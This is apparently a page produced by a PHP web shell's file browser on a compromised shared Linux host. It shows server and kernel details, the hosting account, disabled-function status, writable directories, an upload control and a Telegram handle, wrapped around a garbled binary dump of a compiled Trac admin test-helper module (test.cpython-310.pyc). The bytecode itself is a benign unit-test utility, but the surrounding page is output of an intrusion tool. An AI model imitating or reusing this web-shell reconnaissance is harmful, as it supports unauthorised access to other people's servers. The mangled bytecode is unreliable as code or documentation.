https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/admin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/admin/__pycache__/test.cpython-310.pyc
o

�k�`��@s�ddlZddlZddlZddlZddlZddlZddlZddlmZm	Z	m
Z
e�dej�Z
dd�Zd
dd�Zd
d	d
�ZGdd�dej�ZdS)�N)�AdminCommandManager�	TracAdmin�_runz( +)$cCs�i}t�|�}t|dd��0}d}|D]"}|��}|�|�}|r*|��d}d||<q|||d7<qWd�|S1s@wY|S)z�Reads the file, named file, which contains test results separated
    by the regular expression pattern.

    The test results are returned as a dictionary.
    �utf-8)�encodingNr��
)�re�compile�open�rstrip�search�groups)�file�pattern�expected�compiled_pattern�f�test�line�match�r�1/usr/lib/python3/dist-packages/trac/admin/test.py�load_expected_resultss 


�
�
�
rTc
Cs0t|t�r|�d�}n|durd}n
t|t�stdt|���t�|��Y}t���E}tj|ddd�}tj|dddd�}t	j
t	jt	jf}z|t	_
|t	_t	_|�}W|\t	_
t	_t	_n	|\t	_
t	_t	_w|�
�}	Wd�n1sqwYWd�n1s�wYt|	d�}	|r�|t�d|	�fS||	fS)	Nr�z(input must be str, bytes or None, not %sr)r�newlineT)rr�
write_throughr)�
isinstance�str�encode�bytes�
ValueError�type�io�BytesIO�
TextIOWrapper�sys�stdin�stdout�stderr�getvalue�STRIP_TRAILING_SPACE�sub)
�func�strip_trailing_space�input�rbuf�wbufr'r(�_files�
return_val�valuerrr�_execute0s6

�
�$
��

r5cs��fdd�}t|||�S)Ncs"z����WStyYdSw�N)�onecmd�
SystemExitr��cmd�	tracadminrrr-Ns
�zexecute_cmd.<locals>.func�r5)r;r:r.r/r-rr9r�execute_cmdMsr=c@speZdZdZedd��Zedd��Zedd��Zedd	��Z	ddd
�Z
ddd�Zedd��Zdd�Z
dd�ZdS)�TracAdminTestCaseBasezconsole-tests.txtcCstj��|_dSr6)�os�environ�copy)�clsrrr�
setUpClassZsz TracAdminTestCaseBase.setUpClasscCs4ttj�t|j�D]}tj|=q
tj�|j�dSr6)�setr?r@�update)rB�namerrr�
tearDownClass^s
z#TracAdminTestCaseBase.tearDownClasscCs(tj|jjj}tj�tj�|�|j	�Sr6)
r&�modules�	__class__�
__module__�__file__r?�path�join�dirname�expected_results_filename)�self�results_filerrr�expected_results_fileds�z+TracAdminTestCaseBase.expected_results_filecCst|jd�S)Nz===== (test_[^ ]+) =====)rrR)rPrrr�expected_resultsjs�z&TracAdminTestCaseBase.expected_resultsTNcCs(t|d�r	|j}nt�}t||||d�S)N�admin)r.r/)�hasattrrTrr=)rPr:r.r/rTrrr�executeos
�zTracAdminTestCaseBase.executec	s�t��dd}|r||7}|j|�|dur�|;���fdd�}d��|�f}d�vrJt�d�ttj��d���d�tj	�}|�
||�dS|���|�dS)	N��cs>dd���d�D�}dd���d�D�}d�t�||dd��S)NcS�g|]}d|�qS�z%s
r��.0�xrrr�
<listcomp>��zLTracAdminTestCaseBase.assertExpectedResult.<locals>.diff.<locals>.<listcomp>rcSrYrZrr[rrrr^�r_rr�actual)�splitrM�difflib�unified_diff)�output_lines�expected_lines��expected_result�outputrr�diff�s
�z8TracAdminTestCaseBase.assertExpectedResult.<locals>.diffz%r != %r
%sz[...]z.*z\Z)�inspect�stackrSr	rrM�map�escapera�DOTALL�
assertTrue�assertEqual)rPrh�args�suffix�	test_nameri�msg�mrrfr�assertExpectedResultxs$
���z*TracAdminTestCaseBase.assertExpectedResultcs�fdd�}t|�S)Ncs zt��WStyYdSwr6)rr8r�rqrrr-�s

�z/TracAdminTestCaseBase.execute_run.<locals>.funcr<)rBrqr-rrwr�execute_run�sz!TracAdminTestCaseBase.execute_runcGs0t|j��t|��}|�dt|��|ddS)NrWr�)r�env�get_command_help�listrp�len)rPrq�docsrrrr{�sz&TracAdminTestCaseBase.get_command_helpcGst|j��t|��Sr6)rrz�complete_commandr|)rPrqrrrr�sz&TracAdminTestCaseBase.complete_command�TN)NN)�__name__rJ�__qualname__rO�classmethodrCrG�propertyrRrSrVrvrxr{rrrrrr>Vs 





	
r>r�)rbrjr#r?r	r&�unittest�trac.admin.consolerrrr
�	MULTILINEr+rr5r=�TestCaser>rrrr�<module>s


	

https://t.me/RX1948 - 2025